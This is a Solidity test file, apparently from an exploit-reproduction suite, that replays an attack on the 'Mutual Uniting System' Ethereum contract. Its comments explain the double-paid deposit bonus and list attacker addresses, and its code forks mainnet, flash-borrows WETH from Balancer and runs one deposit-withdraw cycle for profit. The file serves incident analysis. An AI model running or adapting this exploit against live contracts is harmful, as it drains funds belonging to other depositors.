src/test/2026-09/MUS_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "../basetest.sol";
5 
6// Mutual Uniting System (MUS) - deposit() pays a first-deposit bonus twice: once as an immediate ETH
7// refund to the caller, and again as MUS allocation that withdraw() later redeems for ETH, with no cap
8// tying total ETH paid out to the ETH actually deposited. A single deposit-then-withdraw from a fresh
9// address therefore returns more ETH than was put in. Ethereum.
10//
11// Sample txs (attacker cycled 16 fresh sub-addresses per tx; all three are in block 26087602):
12//   0xfe28118e48c64b275b587c90da472fc13b8c3dbed9d3cded1e18c1e7a7fc0392  (16 cycles)
13//   0xaa172fcaa4800b14826daed1a78c9d6dcd8f26ae45ce5f31786d55768b709ec6  (16 cycles)
14//   0x905af4e8cdaf32c183605358c97181e9ad57393bd4ed1d945baf6d6eebe983fe
15// Attacker EOA    : 0x1a083ADf234a8f67ad65A9B9B616853ACf5998E5
16// Attack contract : 0xD1a7A2A3c27962E80E9B6B46D54094F93267e988 (drives the fresh sub-address proxies)
17// Victim (MUS)    : 0x9bdf81e6066d32764b7e75a1b5577237e06d9364 (unverified - reversed from bytecode;
18//                   symbol "MUS", name "Mutual Uniting System", 14 decimals)
19//
20// ROOT CAUSE (confirmed against the decompiled bytecode + the real call trace):
21//   deposit() and withdraw(uint256,uint256,bool) carry NO owner/admin/caller gate - any address can call
22//   them (verified: no `require(caller == ...)` anywhere in either function). For a FRESH depositor,
23//   deposit{value: D}() does two things with the same first-deposit bonus:
24//     (a) immediately CALLs ETH back to the caller (the bonus refund, R), and
25//     (b) credits the caller a MUS allocation that withdraw() can redeem for ETH (W).
26//   withdraw() then pays W without ever capping (R + W) at D. Net per fresh cycle: R + W - D > 0, funded
27//   out of the pool's standing ETH. The attacker scaled it by repeating from many fresh addresses.
28//
29// REAL CYCLE 1 (from the trace of the first sample tx, exact wei):
30//   deposit value D        = 53.355703172210117028 ETH
31//   bonus refund R (in dep)= 32.253522567601017211 ETH   (MUS -> caller, inside deposit())
32//   withdraw payout W      = 21.502348378400678141 ETH   (MUS -> caller, inside withdraw())
33//   R + W                  = 53.755870946001695352 ETH  >  D
34//   net over-extraction    =  0.400167773791578324 ETH   per cycle
35//   The first tx ran 16 such cycles from 16 fresh sub-addresses (deposit amounts shrink each cycle), summing
36//   to ~5.9476 ETH by the per-cycle R+W-D measure; the MUS pool's own standing ETH (5.335 ETH at 26087601)
37//   was fully drained to 0 across the attack block, the rest of each payout coming from same-block legit
38//   deposits the pack redistributes. The reported ~$36.9k is the whole campaign across many txs/addresses and
39//   is NOT cleanly derivable from these 3 samples; the honest, exactly-reproduced figure is the per-cycle net.
40//   Each cycle is self-contained within one call (deposit then withdraw back to back, no multi-tx sequence
41//   per address), but the payout side DOES depend on the current pack round being funded: at the plain
42//   pre-block state (26087601) a single cycle nets a loss, because the pack that makes withdraw pay out was
43//   filled by deposits earlier in the attack block. So this PoC forks at the exact pre-state of the first
44//   attack tx (which replays those earlier same-block txs) and replays one cycle from a fresh address there.
45//
46// The working capital (D) is recyclable: the real attacker sourced it from its own WETH. Here it is taken
47// as a Balancer V2 flash loan (0 fee) and repaid in the same tx, so the leftover balance is exactly the
48// net over-extraction - the ETH actually drained from the MUS pool.
49 
50interface IERC20 {
51    function balanceOf(address) external view returns (uint256);
52    function transfer(address, uint256) external returns (bool);
53    function withdraw(uint256) external; // WETH unwrap
54    function deposit() external payable; // WETH wrap
55}
56 
57interface IMUS {
58    function deposit() external payable;
59    function withdraw(uint256 pid, uint256 amount, bool withdrawRewards) external;
60    function balanceOf(address) external view returns (uint256);
61}
62 
63interface IBalancerVault {
64    function flashLoan(address recipient, address[] calldata tokens, uint256[] calldata amounts, bytes calldata userData)
65        external;
66}
67 
68contract MUS_exp is BaseTestWithBalanceLog {
69    IMUS constant MUS = IMUS(0x9bDF81e6066D32764b7E75a1b5577237e06d9364);
70    IERC20 constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
71    IBalancerVault constant VAULT = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
72 
73    uint256 constant DEPOSIT = 53_355_703_172210117028; // real cycle-1 deposit amount (wei)
74    // First sample tx (idx 138 in block 26087602). The exploit's profitability depends on the "pack" round
75    // state as it stood right before this tx, which is set up by earlier txs in the same block - a plain
76    // block-26087601 fork does NOT reproduce it (a single cycle there nets a loss). Forking AT the tx replays
77    // every earlier tx in the block, landing on the exact pre-attack state the attacker actually exploited.
78    bytes32 constant FORK_AT_TX = 0xfe28118e48c64b275b587c90da472fc13b8c3dbed9d3cded1e18c1e7a7fc0392;
79 
80    function setUp() public {
81        vm.createSelectFork("mainnet", FORK_AT_TX); // state immediately before the first sample tx
82        fundingToken = address(0); // profit realized in native ETH
83    }
84 
85    function testExploit() public balanceLog {
86        // Flash-borrow the working capital (WETH) from Balancer (0 fee); the cycle runs inside the callback.
87        address[] memory tokens = new address[](1);
88        tokens[0] = address(WETH);
89        uint256[] memory amounts = new uint256[](1);
90        amounts[0] = DEPOSIT;
91        VAULT.flashLoan(address(this), tokens, amounts, "");
92 
93        emit log_named_decimal_uint("net ETH extracted (one cycle)", address(this).balance, 18);
94    }
95 
96    function receiveFlashLoan(
97        address[] calldata,
98        uint256[] calldata amounts,
99        uint256[] calldata,
100        bytes calldata
101    ) external {
102        require(msg.sender == address(VAULT), "only vault");
103        WETH.withdraw(amounts[0]); // unwrap to ETH
104 
105        // --- one exploit cycle from this fresh address ---
106        uint256 before = address(this).balance; // == DEPOSIT (borrowed)
107        MUS.deposit{value: DEPOSIT}(); // pays the bonus refund R back to us here AND mints a MUS allocation
108        uint256 minted = MUS.balanceOf(address(this)); // the double-counted allocation
109        MUS.withdraw(0, minted, true); // redeems it for ETH (W), uncapped vs D
110        uint256 got = address(this).balance; // == before + R + W - D  (net > before)
111 
112        // Over-extraction pulled out of the MUS pool in this single cycle.
113        uint256 net = got - before;
114        assertApproxEqRel(net, 0.400167773791578324e18, 0.02e18, "per-cycle over-extraction off");
115        assertGt(got, before, "cycle did not net a profit");
116 
117        // Repay the flash loan (Balancer fee is 0): rewrap DEPOSIT ETH and return it to the Vault.
118        WETH.deposit{value: DEPOSIT}();
119        WETH.transfer(address(VAULT), amounts[0]);
120    }
121 
122    receive() external payable {}
123}